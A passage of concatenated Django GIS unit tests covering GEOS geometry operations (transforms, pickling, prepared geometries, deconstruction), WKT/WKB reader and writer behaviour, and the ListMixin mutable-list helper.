        "Testing GeometryCollection handling of other collections."
        # Creating a GeometryCollection WKT string composed of other
        # collections and polygons.
        coll = [mp.wkt for mp in self.geometries.multipolygons if mp.valid]
        coll.extend(mls.wkt for mls in self.geometries.multilinestrings)
        coll.extend(p.wkt for p in self.geometries.polygons)
        coll.extend(mp.wkt for mp in self.geometries.multipoints)
        gc_wkt = 'GEOMETRYCOLLECTION(%s)' % ','.join(coll)

        # Should construct ok from WKT
        gc1 = GEOSGeometry(gc_wkt)

        # Should also construct ok from individual geometry arguments.
        gc2 = GeometryCollection(*tuple(g for g in gc1))

        # And, they should be equal.
        self.assertEqual(gc1, gc2)

    @skipUnless(HAS_GDAL, "GDAL is required.")
    def test_gdal(self):
        "Testing `ogr` and `srs` properties."
        g1 = fromstr('POINT(5 23)')
        self.assertIsInstance(g1.ogr, gdal.OGRGeometry)
        self.assertIsNone(g1.srs)

        g1_3d = fromstr('POINT(5 23 8)')
        self.assertIsInstance(g1_3d.ogr, gdal.OGRGeometry)
        self.assertEqual(g1_3d.ogr.z, 8)

        g2 = fromstr('LINESTRING(0 0, 5 5, 23 23)', srid=4326)
        self.assertIsInstance(g2.ogr, gdal.OGRGeometry)
        self.assertIsInstance(g2.srs, gdal.SpatialReference)
        self.assertEqual(g2.hex, g2.ogr.hex)
        self.assertEqual('WGS 84', g2.srs.name)

    def test_copy(self):
        "Testing use with the Python `copy` module."
        import copy
        poly = GEOSGeometry('POLYGON((0 0, 0 23, 23 23, 23 0, 0 0), (5 5, 5 10, 10 10, 10 5, 5 5))')
        cpy1 = copy.copy(poly)
        cpy2 = copy.deepcopy(poly)
        self.assertNotEqual(poly._ptr, cpy1._ptr)
        self.assertNotEqual(poly._ptr, cpy2._ptr)

    @skipUnless(HAS_GDAL, "GDAL is required to transform geometries")
    def test_transform(self):
        "Testing `transform` method."
        orig = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        trans = GEOSGeometry('POINT (992385.4472045 481455.4944650)', 2774)

        # Using a srid, a SpatialReference object, and a CoordTransform object
        # for transformations.
        t1, t2, t3 = orig.clone(), orig.clone(), orig.clone()
        t1.transform(trans.srid)
        t2.transform(gdal.SpatialReference('EPSG:2774'))
        ct = gdal.CoordTransform(gdal.SpatialReference('WGS84'), gdal.SpatialReference(2774))
        t3.transform(ct)

        # Testing use of the `clone` keyword.
        k1 = orig.clone()
        k2 = k1.transform(trans.srid, clone=True)
        self.assertEqual(k1, orig)
        self.assertNotEqual(k1, k2)

        prec = 3
        for p in (t1, t2, t3, k2):
            self.assertAlmostEqual(trans.x, p.x, prec)
            self.assertAlmostEqual(trans.y, p.y, prec)

    @skipUnless(HAS_GDAL, "GDAL is required to transform geometries")
    def test_transform_3d(self):
        p3d = GEOSGeometry('POINT (5 23 100)', 4326)
        p3d.transform(2774)
        self.assertEqual(p3d.z, 100)

    @skipUnless(HAS_GDAL, "GDAL is required.")
    def test_transform_noop(self):
        """ Testing `transform` method (SRID match) """
        # transform() should no-op if source & dest SRIDs match,
        # regardless of whether GDAL is available.
        g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        gt = g.tuple
        g.transform(4326)
        self.assertEqual(g.tuple, gt)
        self.assertEqual(g.srid, 4326)

        g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        g1 = g.transform(4326, clone=True)
        self.assertEqual(g1.tuple, g.tuple)
        self.assertEqual(g1.srid, 4326)
        self.assertIsNot(g1, g, "Clone didn't happen")

    @skipUnless(HAS_GDAL, "GDAL is required.")
    def test_transform_nosrid(self):
        """ Testing `transform` method (no SRID or negative SRID) """

        g = GEOSGeometry('POINT (-104.609 38.255)', srid=None)
        with self.assertRaises(GEOSException):
            g.transform(2774)

        g = GEOSGeometry('POINT (-104.609 38.255)', srid=None)
        with self.assertRaises(GEOSException):
            g.transform(2774, clone=True)

        g = GEOSGeometry('POINT (-104.609 38.255)', srid=-1)
        with self.assertRaises(GEOSException):
            g.transform(2774)

        g = GEOSGeometry('POINT (-104.609 38.255)', srid=-1)
        with self.assertRaises(GEOSException):
            g.transform(2774, clone=True)

    def test_extent(self):
        "Testing `extent` method."
        # The xmin, ymin, xmax, ymax of the MultiPoint should be returned.
        mp = MultiPoint(Point(5, 23), Point(0, 0), Point(10, 50))
        self.assertEqual((0.0, 0.0, 10.0, 50.0), mp.extent)
        pnt = Point(5.23, 17.8)
        # Extent of points is just the point itself repeated.
        self.assertEqual((5.23, 17.8, 5.23, 17.8), pnt.extent)
        # Testing on the 'real world' Polygon.
        poly = fromstr(self.geometries.polygons[3].wkt)
        ring = poly.shell
        x, y = ring.x, ring.y
        xmin, ymin = min(x), min(y)
        xmax, ymax = max(x), max(y)
        self.assertEqual((xmin, ymin, xmax, ymax), poly.extent)

    def test_pickle(self):
        "Testing pickling and unpickling support."
        # Using both pickle and cPickle -- just 'cause.
        from django.utils.six.moves import cPickle
        import pickle

        # Creating a list of test geometries for pickling,
        # and setting the SRID on some of them.
        def get_geoms(lst, srid=None):
            return [GEOSGeometry(tg.wkt, srid) for tg in lst]
        tgeoms = get_geoms(self.geometries.points)
        tgeoms.extend(get_geoms(self.geometries.multilinestrings, 4326))
        tgeoms.extend(get_geoms(self.geometries.polygons, 3084))
        tgeoms.extend(get_geoms(self.geometries.multipolygons, 3857))

        for geom in tgeoms:
            s1, s2 = cPickle.dumps(geom), pickle.dumps(geom)
            g1, g2 = cPickle.loads(s1), pickle.loads(s2)
            for tmpg in (g1, g2):
                self.assertEqual(geom, tmpg)
                self.assertEqual(geom.srid, tmpg.srid)

    def test_prepared(self):
        "Testing PreparedGeometry support."
        # Creating a simple multipolygon and getting a prepared version.
        mpoly = GEOSGeometry('MULTIPOLYGON(((0 0,0 5,5 5,5 0,0 0)),((5 5,5 10,10 10,10 5,5 5)))')
        prep = mpoly.prepared

        # A set of test points.
        pnts = [Point(5, 5), Point(7.5, 7.5), Point(2.5, 7.5)]
        for pnt in pnts:
            # Results should be the same (but faster)
            self.assertEqual(mpoly.contains(pnt), prep.contains(pnt))
            self.assertEqual(mpoly.intersects(pnt), prep.intersects(pnt))
            self.assertEqual(mpoly.covers(pnt), prep.covers(pnt))

        self.assertTrue(prep.crosses(fromstr('LINESTRING(1 1, 15 15)')))
        self.assertTrue(prep.disjoint(Point(-5, -5)))
        poly = Polygon(((-1, -1), (1, 1), (1, 0), (-1, -1)))
        self.assertTrue(prep.overlaps(poly))
        poly = Polygon(((-5, 0), (-5, 5), (0, 5), (-5, 0)))
        self.assertTrue(prep.touches(poly))
        poly = Polygon(((-1, -1), (-1, 11), (11, 11), (11, -1), (-1, -1)))
        self.assertTrue(prep.within(poly))

        # Original geometry deletion should not crash the prepared one (#21662)
        del mpoly
        self.assertTrue(prep.covers(Point(5, 5)))

    def test_line_merge(self):
        "Testing line merge support"
        ref_geoms = (fromstr('LINESTRING(1 1, 1 1, 3 3)'),
                     fromstr('MULTILINESTRING((1 1, 3 3), (3 3, 4 2))'),
                     )
        ref_merged = (fromstr('LINESTRING(1 1, 3 3)'),
                      fromstr('LINESTRING (1 1, 3 3, 4 2)'),
                      )
        for geom, merged in zip(ref_geoms, ref_merged):
            self.assertEqual(merged, geom.merged)

    def test_valid_reason(self):
        "Testing IsValidReason support"

        g = GEOSGeometry("POINT(0 0)")
        self.assertTrue(g.valid)
        self.assertIsInstance(g.valid_reason, six.string_types)
        self.assertEqual(g.valid_reason, "Valid Geometry")

        g = GEOSGeometry("LINESTRING(0 0, 0 0)")

        self.assertFalse(g.valid)
        self.assertIsInstance(g.valid_reason, six.string_types)
        self.assertTrue(g.valid_reason.startswith("Too few points in geometry component"))

    def test_linearref(self):
        "Testing linear referencing"

        ls = fromstr('LINESTRING(0 0, 0 10, 10 10, 10 0)')
        mls = fromstr('MULTILINESTRING((0 0, 0 10), (10 0, 10 10))')

        self.assertEqual(ls.project(Point(0, 20)), 10.0)
        self.assertEqual(ls.project(Point(7, 6)), 24)
        self.assertEqual(ls.project_normalized(Point(0, 20)), 1.0 / 3)

        self.assertEqual(ls.interpolate(10), Point(0, 10))
        self.assertEqual(ls.interpolate(24), Point(10, 6))
        self.assertEqual(ls.interpolate_normalized(1.0 / 3), Point(0, 10))

        self.assertEqual(mls.project(Point(0, 20)), 10)
        self.assertEqual(mls.project(Point(7, 6)), 16)

        self.assertEqual(mls.interpolate(9), Point(0, 9))
        self.assertEqual(mls.interpolate(17), Point(10, 7))

    def test_deconstructible(self):
        """
        Geometry classes should be deconstructible.
        """
        point = Point(4.337844, 50.827537, srid=4326)
        path, args, kwargs = point.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.point.Point')
        self.assertEqual(args, (4.337844, 50.827537))
        self.assertEqual(kwargs, {'srid': 4326})

        ls = LineString(((0, 0), (1, 1)))
        path, args, kwargs = ls.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.linestring.LineString')
        self.assertEqual(args, (((0, 0), (1, 1)),))
        self.assertEqual(kwargs, {})

        ls2 = LineString([Point(0, 0), Point(1, 1)], srid=4326)
        path, args, kwargs = ls2.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.linestring.LineString')
        self.assertEqual(args, ([Point(0, 0), Point(1, 1)],))
        self.assertEqual(kwargs, {'srid': 4326})

        ext_coords = ((0, 0), (0, 1), (1, 1), (1, 0), (0, 0))
        int_coords = ((0.4, 0.4), (0.4, 0.6), (0.6, 0.6), (0.6, 0.4), (0.4, 0.4))
        poly = Polygon(ext_coords, int_coords)
        path, args, kwargs = poly.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.polygon.Polygon')
        self.assertEqual(args, (ext_coords, int_coords))
        self.assertEqual(kwargs, {})

        lr = LinearRing((0, 0), (0, 1), (1, 1), (0, 0))
        path, args, kwargs = lr.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.linestring.LinearRing')
        self.assertEqual(args, ((0, 0), (0, 1), (1, 1), (0, 0)))
        self.assertEqual(kwargs, {})

        mp = MultiPoint(Point(0, 0), Point(1, 1))
        path, args, kwargs = mp.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.collections.MultiPoint')
        self.assertEqual(args, (Point(0, 0), Point(1, 1)))
        self.assertEqual(kwargs, {})

        ls1 = LineString((0, 0), (1, 1))
        ls2 = LineString((2, 2), (3, 3))
        mls = MultiLineString(ls1, ls2)
        path, args, kwargs = mls.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.collections.MultiLineString')
        self.assertEqual(args, (ls1, ls2))
        self.assertEqual(kwargs, {})

        p1 = Polygon(((0, 0), (0, 1), (1, 1), (0, 0)))
        p2 = Polygon(((1, 1), (1, 2), (2, 2), (1, 1)))
        mp = MultiPolygon(p1, p2)
        path, args, kwargs = mp.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.collections.MultiPolygon')
        self.assertEqual(args, (p1, p2, ))
        self.assertEqual(kwargs, {})

        poly = Polygon(((0, 0), (0, 1), (1, 1), (0, 0)))
        gc = GeometryCollection(Point(0, 0), MultiPoint(Point(0, 0), Point(1, 1)), poly)
        path, args, kwargs = gc.deconstruct()
        self.assertEqual(path, 'django.contrib.gis.geos.collections.GeometryCollection')
        self.assertEqual(args, (Point(0, 0), MultiPoint(Point(0, 0), Point(1, 1)), poly))
        self.assertEqual(kwargs, {})

    def test_geos_version(self):
        """Testing the GEOS version regular expression."""
        from django.contrib.gis.geos.libgeos import version_regex
        versions = [('3.0.0rc4-CAPI-1.3.3', '3.0.0', '1.3.3'),
                    ('3.0.0-CAPI-1.4.1', '3.0.0', '1.4.1'),
                    ('3.4.0dev-CAPI-1.8.0', '3.4.0', '1.8.0'),
                    ('3.4.0dev-CAPI-1.8.0 r0', '3.4.0', '1.8.0')]
        for v_init, v_geos, v_capi in versions:
            m = version_regex.match(v_init)
            self.assertTrue(m, msg="Unable to parse the version string '%s'" % v_init)
            self.assertEqual(m.group('version'), v_geos)
            self.assertEqual(m.group('capi_version'), v_capi)

    def test_from_gml(self):
        self.assertEqual(
            GEOSGeometry('POINT(0 0)'),
            GEOSGeometry.from_gml(
                '<gml:Point gml:id="p21" srsName="http://www.opengis.net/def/crs/EPSG/0/4326">'
                '    <gml:pos srsDimension="2">0 0</gml:pos>'
                '</gml:Point>'
            ),
        )

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_deprecated_srid_getters_setters(self):
        p = Point(1, 2, srid=123)
        self.assertEqual(p.get_srid(), p.srid)

        p.set_srid(321)
        self.assertEqual(p.srid, 321)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_deprecated_point_coordinate_getters_setters(self):
        p = Point(1, 2, 3)
        self.assertEqual((p.get_x(), p.get_y(), p.get_z()), (p.x, p.y, p.z))

        p.set_x(3)
        p.set_y(2)
        p.set_z(1)
        self.assertEqual((p.x, p.y, p.z), (3, 2, 1))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_deprecated_point_tuple_getters_setters(self):
        p = Point(1, 2, 3)
        self.assertEqual(p.get_coords(), (p.x, p.y, p.z))

        p.set_coords((3, 2, 1))
        self.assertEqual(p.get_coords(), (3, 2, 1))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_deprecated_cascaded_union(self):
        for geom in self.geometries.multipolygons:
            mpoly = GEOSGeometry(geom.wkt)
            self.assertEqual(mpoly.cascaded_union, mpoly.unary_union)






from __future__ import unicode_literals

import binascii
from unittest import skipUnless

from django.contrib.gis.geos import (
    HAS_GEOS, GEOSGeometry, Point, WKBReader, WKBWriter, WKTReader, WKTWriter,
)
from django.test import SimpleTestCase
from django.utils.six import memoryview


@skipUnless(HAS_GEOS, "Geos is required.")
class GEOSIOTest(SimpleTestCase):

    def test01_wktreader(self):
        # Creating a WKTReader instance
        wkt_r = WKTReader()
        wkt = 'POINT (5 23)'

        # read() should return a GEOSGeometry
        ref = GEOSGeometry(wkt)
        g1 = wkt_r.read(wkt.encode())
        g2 = wkt_r.read(wkt)

        for geom in (g1, g2):
            self.assertEqual(ref, geom)

        # Should only accept six.string_types objects.
        with self.assertRaises(TypeError):
            wkt_r.read(1)
        with self.assertRaises(TypeError):
            wkt_r.read(memoryview(b'foo'))

    def test02_wktwriter(self):
        # Creating a WKTWriter instance, testing its ptr property.
        wkt_w = WKTWriter()
        with self.assertRaises(TypeError):
            wkt_w._set_ptr(WKTReader.ptr_type())

        ref = GEOSGeometry('POINT (5 23)')
        ref_wkt = 'POINT (5.0000000000000000 23.0000000000000000)'
        self.assertEqual(ref_wkt, wkt_w.write(ref).decode())

    def test_wktwriter_constructor_arguments(self):
        wkt_w = WKTWriter(dim=3, trim=True, precision=3)
        ref = GEOSGeometry('POINT (5.34562 23 1.5)')
        ref_wkt = 'POINT Z (5.35 23 1.5)'
        self.assertEqual(ref_wkt, wkt_w.write(ref).decode())

    def test03_wkbreader(self):
        # Creating a WKBReader instance
        wkb_r = WKBReader()

        hex = b'000000000140140000000000004037000000000000'
        wkb = memoryview(binascii.a2b_hex(hex))
        ref = GEOSGeometry(hex)

        # read() should return a GEOSGeometry on either a hex string or
        # a WKB buffer.
        g1 = wkb_r.read(wkb)
        g2 = wkb_r.read(hex)
        for geom in (g1, g2):
            self.assertEqual(ref, geom)

        bad_input = (1, 5.23, None, False)
        for bad_wkb in bad_input:
            with self.assertRaises(TypeError):
                wkb_r.read(bad_wkb)

    def test04_wkbwriter(self):
        wkb_w = WKBWriter()

        # Representations of 'POINT (5 23)' in hex -- one normal and
        # the other with the byte order changed.
        g = GEOSGeometry('POINT (5 23)')
        hex1 = b'010100000000000000000014400000000000003740'
        wkb1 = memoryview(binascii.a2b_hex(hex1))
        hex2 = b'000000000140140000000000004037000000000000'
        wkb2 = memoryview(binascii.a2b_hex(hex2))

        self.assertEqual(hex1, wkb_w.write_hex(g))
        self.assertEqual(wkb1, wkb_w.write(g))

        # Ensuring bad byteorders are not accepted.
        for bad_byteorder in (-1, 2, 523, 'foo', None):
            # Equivalent of `wkb_w.byteorder = bad_byteorder`
            with self.assertRaises(ValueError):
                wkb_w._set_byteorder(bad_byteorder)

        # Setting the byteorder to 0 (for Big Endian)
        wkb_w.byteorder = 0
        self.assertEqual(hex2, wkb_w.write_hex(g))
        self.assertEqual(wkb2, wkb_w.write(g))

        # Back to Little Endian
        wkb_w.byteorder = 1

        # Now, trying out the 3D and SRID flags.
        g = GEOSGeometry('POINT (5 23 17)')
        g.srid = 4326

        hex3d = b'0101000080000000000000144000000000000037400000000000003140'
        wkb3d = memoryview(binascii.a2b_hex(hex3d))
        hex3d_srid = b'01010000A0E6100000000000000000144000000000000037400000000000003140'
        wkb3d_srid = memoryview(binascii.a2b_hex(hex3d_srid))

        # Ensuring bad output dimensions are not accepted
        for bad_outdim in (-1, 0, 1, 4, 423, 'foo', None):
            with self.assertRaisesMessage(ValueError, 'WKB output dimension must be 2 or 3'):
                wkb_w.outdim = bad_outdim

        # Now setting the output dimensions to be 3
        wkb_w.outdim = 3

        self.assertEqual(hex3d, wkb_w.write_hex(g))
        self.assertEqual(wkb3d, wkb_w.write(g))

        # Telling the WKBWriter to include the srid in the representation.
        wkb_w.srid = True
        self.assertEqual(hex3d_srid, wkb_w.write_hex(g))
        self.assertEqual(wkb3d_srid, wkb_w.write(g))

    def test_wkt_writer_trim(self):
        wkt_w = WKTWriter()
        self.assertFalse(wkt_w.trim)
        self.assertEqual(wkt_w.write(Point(1, 1)), b'POINT (1.0000000000000000 1.0000000000000000)')

        wkt_w.trim = True
        self.assertTrue(wkt_w.trim)
        self.assertEqual(wkt_w.write(Point(1, 1)), b'POINT (1 1)')
        self.assertEqual(wkt_w.write(Point(1.1, 1)), b'POINT (1.1 1)')
        self.assertEqual(wkt_w.write(Point(1. / 3, 1)), b'POINT (0.3333333333333333 1)')

        wkt_w.trim = False
        self.assertFalse(wkt_w.trim)
        self.assertEqual(wkt_w.write(Point(1, 1)), b'POINT (1.0000000000000000 1.0000000000000000)')

    def test_wkt_writer_precision(self):
        wkt_w = WKTWriter()
        self.assertIsNone(wkt_w.precision)
        self.assertEqual(wkt_w.write(Point(1. / 3, 2. / 3)), b'POINT (0.3333333333333333 0.6666666666666666)')

        wkt_w.precision = 1
        self.assertEqual(wkt_w.precision, 1)
        self.assertEqual(wkt_w.write(Point(1. / 3, 2. / 3)), b'POINT (0.3 0.7)')

        wkt_w.precision = 0
        self.assertEqual(wkt_w.precision, 0)
        self.assertEqual(wkt_w.write(Point(1. / 3, 2. / 3)), b'POINT (0 1)')

        wkt_w.precision = None
        self.assertIsNone(wkt_w.precision)
        self.assertEqual(wkt_w.write(Point(1. / 3, 2. / 3)), b'POINT (0.3333333333333333 0.6666666666666666)')

        with self.assertRaisesMessage(AttributeError, 'WKT output rounding precision must be '):
            wkt_w.precision = 'potato'






# Copyright (c) 2008-2009 Aryeh Leib Taurog, http://www.aryehleib.com
# All rights reserved.
#
# Modified from original contribution by Aryeh Leib Taurog, which was
# released under the New BSD license.

import unittest

from django.contrib.gis.geos.mutable_list import ListMixin
from django.utils import six


class UserListA(ListMixin):
    _mytype = tuple

    def __init__(self, i_list, *args, **kwargs):
        self._list = self._mytype(i_list)
        super(UserListA, self).__init__(*args, **kwargs)

    def __len__(self):
        return len(self._list)

    def __str__(self):
        return str(self._list)

    def __repr__(self):
        return repr(self._list)

    def _set_list(self, length, items):
        # this would work:
        # self._list = self._mytype(items)
        # but then we wouldn't be testing length parameter
        itemList = ['x'] * length
        for i, v in enumerate(items):
            itemList[i] = v

        self._list = self._mytype(itemList)

    def _get_single_external(self, index):
        return self._list[index]


class UserListB(UserListA):
    _mytype = list

    def _set_single(self, index, value):
        self._list[index] = value


def nextRange(length):
    nextRange.start += 100
    return range(nextRange.start, nextRange.start + length)

nextRange.start = 0


class ListMixinTest(unittest.TestCase):
    """
    Tests base class ListMixin by comparing a list clone which is
    a ListMixin subclass with a real Python list.
    """
    limit = 3
    listType = UserListA

    def lists_of_len(self, length=None):
        if length is None:
            length = self.limit
        pl = list(range(length))
        return pl, self.listType(pl)

    def limits_plus(self, b):
        return range(-self.limit - b, self.limit + b)

    def step_range(self):
        return list(range(-1 - self.limit, 0)) + list(range(1, 1 + self.limit))

    def test01_getslice(self):
        'Slice retrieval'
        pl, ul = self.lists_of_len()
        for i in self.limits_plus(1):
            self.assertEqual(pl[i:], ul[i:], 'slice [%d:]' % (i))
            self.assertEqual(pl[:i], ul[:i], 'slice [:%d]' % (i))

            for j in self.limits_plus(1):
                self.assertEqual(pl[i:j], ul[i:j], 'slice [%d:%d]' % (i, j))
                for k in self.step_range():
                    self.assertEqual(pl[i:j:k], ul[i:j:k], 'slice [%d:%d:%d]' % (i, j, k))

            for k in self.step_range():
                self.assertEqual(pl[i::k], ul[i::k], 'slice [%d::%d]' % (i, k))
                self.assertEqual(pl[:i:k], ul[:i:k], 'slice [:%d:%d]' % (i, k))

        for k in self.step_range():
            self.assertEqual(pl[::k], ul[::k], 'slice [::%d]' % (k))

    def test02_setslice(self):
        'Slice assignment'
        def setfcn(x, i, j, k, L):
            x[i:j:k] = range(L)
        pl, ul = self.lists_of_len()
        for slen in range(self.limit + 1):
            ssl = nextRange(slen)
            ul[:] = ssl
            pl[:] = ssl
            self.assertEqual(pl, ul[:], 'set slice [:]')

            for i in self.limits_plus(1):
                ssl = nextRange(slen)
                ul[i:] = ssl
                pl[i:] = ssl
                self.assertEqual(pl, ul[:], 'set slice [%d:]' % (i))

                ssl = nextRange(slen)
                ul[:i] = ssl
                pl[:i] = ssl
                self.assertEqual(pl, ul[:], 'set slice [:%d]' % (i))

                for j in self.limits_plus(1):
                    ssl = nextRange(slen)
                    ul[i:j] = ssl
                    pl[i:j] = ssl
                    self.assertEqual(pl, ul[:], 'set slice [%d:%d]' % (i, j))

                    for k in self.step_range():
                        ssl = nextRange(len(ul[i:j:k]))
                        ul[i:j:k] = ssl
                        pl[i:j:k] = ssl
                        self.assertEqual(pl, ul[:], 'set slice [%d:%d:%d]' % (i, j, k))

                        sliceLen = len(ul[i:j:k])
                        with self.assertRaises(ValueError):
                            setfcn(ul, i, j, k, sliceLen + 1)
                        if sliceLen > 2:
                            with self.assertRaises(ValueError):
                                setfcn(ul, i, j, k, sliceLen - 1)

                for k in self.step_range():
                    ssl = nextRange(len(ul[i::k]))
                    ul[i::k] = ssl
                    pl[i::k] = ssl
                    self.assertEqual(pl, ul[:], 'set slice [%d::%d]' % (i, k))

                    ssl = nextRange(len(ul[:i:k]))
                    ul[:i:k] = ssl
                    pl[:i:k] = ssl
                    self.assertEqual(pl, ul[:], 'set slice [:%d:%d]' % (i, k))

            for k in self.step_range():
                ssl = nextRange(len(ul[::k]))
                ul[::k] = ssl
                pl[::k] = ssl
                self.assertEqual(pl, ul[:], 'set slice [::%d]' % (k))

    def test03_delslice(self):
        'Delete slice'
        for Len in range(self.limit):
            pl, ul = self.lists_of_len(Len)
            del pl[:]
            del ul[:]
            self.assertEqual(pl[:], ul[:], 'del slice [:]')
            for i in range(-Len - 1, Len + 1):
                pl, ul = self.lists_of_len(Len)
                del pl[i:]
                del ul[i:]
                self.assertEqual(pl[:], ul[:], 'del slice [%d:]' % (i))
                pl, ul = self.lists_of_len(Len)
                del pl[:i]
                del ul[:i]
                self.assertEqual(pl[:], ul[:], 'del slice [:%d]' % (i))
                for j in range(-Len - 1, Len + 1):
                    pl, ul = self.lists_of_len(Len)
                    del pl[i:j]
                    del ul[i:j]
                    self.assertEqual(pl[:], ul[:], 'del slice [%d:%d]' % (i, j))
                    for k in list(range(-Len - 1, 0)) + list(range(1, Len)):
                        pl, ul = self.lists_of_len(Len)
                        del pl[i:j:k]
                        del ul[i:j:k]
                        self.assertEqual(pl[:], ul[:], 'del slice [%d:%d:%d]' % (i, j, k))

                for k in list(range(-Len - 1, 0)) + list(range(1, Len)):
                    pl, ul = self.lists_of_len(Len)
                    del pl[:i:k]
                    del ul[:i:k]
                    self.assertEqual(pl[:], ul[:], 'del slice [:%d:%d]' % (i, k))

                    pl, ul = self.lists_of_len(Len)
                    del pl[i::k]
                    del ul[i::k]
                    self.assertEqual(pl[:], ul[:], 'del slice [%d::%d]' % (i, k))

            for k in list(range(-Len - 1, 0)) + list(range(1, Len)):
                pl, ul = self.lists_of_len(Len)
                del pl[::k]
                del ul[::k]
                self.assertEqual(pl[:], ul[:], 'del slice [::%d]' % (k))

    def test04_get_set_del_single(self):
        'Get/set/delete single item'
        pl, ul = self.lists_of_len()
        for i in self.limits_plus(0):
            self.assertEqual(pl[i], ul[i], 'get single item [%d]' % i)

        for i in self.limits_plus(0):
            pl, ul = self.lists_of_len()
            pl[i] = 100
            ul[i] = 100
            self.assertEqual(pl[:], ul[:], 'set single item [%d]' % i)

        for i in self.limits_plus(0):
            pl, ul = self.lists_of_len()
            del pl[i]
            del ul[i]
            self.assertEqual(pl[:], ul[:], 'del single item [%d]' % i)

    def test05_out_of_range_exceptions(self):
        'Out of range exceptions'
        def setfcn(x, i):
            x[i] = 20

        def getfcn(x, i):
            return x[i]

        def delfcn(x, i):
            del x[i]
        pl, ul = self.lists_of_len()
        for i in (-1 - self.limit, self.limit):
            with self.assertRaises(IndexError):  # 'set index %d' % i)
                setfcn(ul, i)
            with self.assertRaises(IndexError):  # 'get index %d' % i)
                getfcn(ul, i)
            with self.assertRaises(IndexError):  # 'del index %d' % i)
                delfcn(ul, i)

    def test06_list_methods(self):
        'List methods'
        pl, ul = self.lists_of_len()
        pl.append(40)
        ul.append(40)
        self.assertEqual(pl[:], ul[:], 'append')

        pl.extend(range(50, 55))
        ul.extend(range(50, 55))
        self.assertEqual(pl[:], ul[:], 'extend')

        pl.reverse()
        ul.reverse()
        self.assertEqual(pl[:], ul[:], 'reverse')

        for i in self.limits_plus(1):
            pl, ul = self.lists_of_len()
            pl.insert(i, 50)
            ul.insert(i, 50)
            self.assertEqual(pl[:], ul[:], 'insert at %d' % i)

        for i in self.limits_plus(0):
            pl, ul = self.lists_of_len()
            self.assertEqual(pl.pop(i), ul.pop(i), 'popped value at %d' % i)
            self.assertEqual(pl[:], ul[:], 'after pop at %d' % i)

        pl, ul = self.lists_of_len()
        self.assertEqual(pl.pop(), ul.pop(i), 'popped value')
        self.assertEqual(pl[:], ul[:], 'after pop')

        pl, ul = self.lists_of_len()

        def popfcn(x, i):
            x.pop(i)
        with self.assertRaises(IndexError):
            popfcn(ul, self.limit)
        with self.assertRaises(IndexError):
            popfcn(ul, -1 - self.limit)

        pl, ul = self.lists_of_len()
        for val in range(self.limit):
            self.assertEqual(pl.index(val), ul.index(val), 'index of %d' % val)

        for val in self.limits_plus(2):
            self.assertEqual(pl.count(val), ul.count(val), 'count %d' % val)

        for val in range(self.limit):
            pl, ul = self.lists_of_len()
            pl.remove(val)
            ul.remove(val)
            self.assertEqual(pl[:], ul[:], 'after remove val %d' % val)

        def indexfcn(x, v):
            return x.index(v)

        def removefcn(x, v):
            return x.remove(v)
        with self.assertRaises(ValueError):
            indexfcn(ul, 40)
        with self.assertRaises(ValueError):
            removefcn(ul, 40)

    def test07_allowed_types(self):
        'Type-restricted list'
        pl, ul = self.lists_of_len()
        ul._allowed = six.integer_types
        ul[1] = 50
        ul[:2] = [60, 70, 80]

        def setfcn(x, i, v):
            x[i] = v
        with self.assertRaises(TypeError):
            setfcn(ul, 2, 'hello')
        with self.assertRaises(TypeError):
            setfcn(ul, slice(0, 3, 2), ('hello', 'goodbye'))

    def test08_min_length(self):
        'Length limits'
        pl, ul = self.lists_of_len(5)
        ul._minlength = 3

        def delfcn(x, i):
            del x[:i]

        def setfcn(x, i):
            x[:i] = []
        for i in range(len(ul) - ul._minlength + 1, len(ul)):
            with self.assertRaises(ValueError):
                delfcn(ul, i)
            with self.assertRaises(ValueError):
                setfcn(ul, i)
        del ul[:len(ul) - ul._minlength]

        ul._maxlength = 4
        for i in range(0, ul._maxlength - len(ul)):
            ul.append(i)
        with self.assertRaises(ValueError):
            ul.append(10)

    def test09_iterable_check(self):
        'Error on assigning non-iterable to slice'
        pl, ul = self.lists_of_len(self.limit + 1)

        def setfcn(x, i, v):
            x[i] = v
        with self.assertRaises(TypeError):
            setfcn(ul, slice(0, 3, 2), 2)

    def test10_checkindex(self):
        'Index check'
        pl, ul = self.lists_of_len()
        for i in self.limits_plus(0):
            if i < 0:
                self.assertEqual(ul._checkindex(i), i + self.limit, '_checkindex(neg index)')
            else:
                self.assertEqual(ul._checkindex(i), i, '_checkindex(pos index)')

        for i in (-self.limit - 1, self.limit):
            with self.assertRaises(IndexError):
                ul._checkindex(i)

    def test_11_sorting(self):
        'Sorting'
        pl, ul = self.lists_of_len()
        pl.insert(0, pl.pop())
        ul.insert(0, ul.pop())
        pl.sort()
        ul.sort()
        self.assertEqual(pl[:], ul[:], 'sort')
        mid = pl[len(pl) // 2]
        pl.sort(key=lambda x: (mid - x) ** 2)
        ul.sort(key=lambda x: (mid - x) ** 2)
        self.assertEqual(pl[:], ul[:], 'sort w/ key')

        pl.insert(0, pl.pop())
        ul.insert(0, ul.pop())
        pl.sort(reverse=True)
        ul.sort(reverse=True)
        self.assertEqual(pl[:], ul[:], 'sort w/ reverse')
        mid = pl[len(pl) // 2]
        pl.sort(key=lambda x: (mid - x) ** 2)
        ul.sort(key=lambda x: (mid - x) ** 2)
        self.assertEqual(pl[:], ul[:], 'sort w/ key')

    def test_12_arithmetic(self):
        'Arithmetic'
        pl, ul = self.lists_of_len()
        al = list(range(10, 14))
        self.assertEqual(list(pl + al), list(ul + al), 'add')
        self.assertEqual(type(ul), type(ul + al), 'type of add result')
        self.assertEqual(list(al + pl), list(al + ul), 'radd')
        self.assertEqual(type(al), type(al + ul), 'type of radd result')
        objid = id(ul)
        pl += al
        ul += al
        self.assertEqual(pl[:], ul[:], 'in-place add')
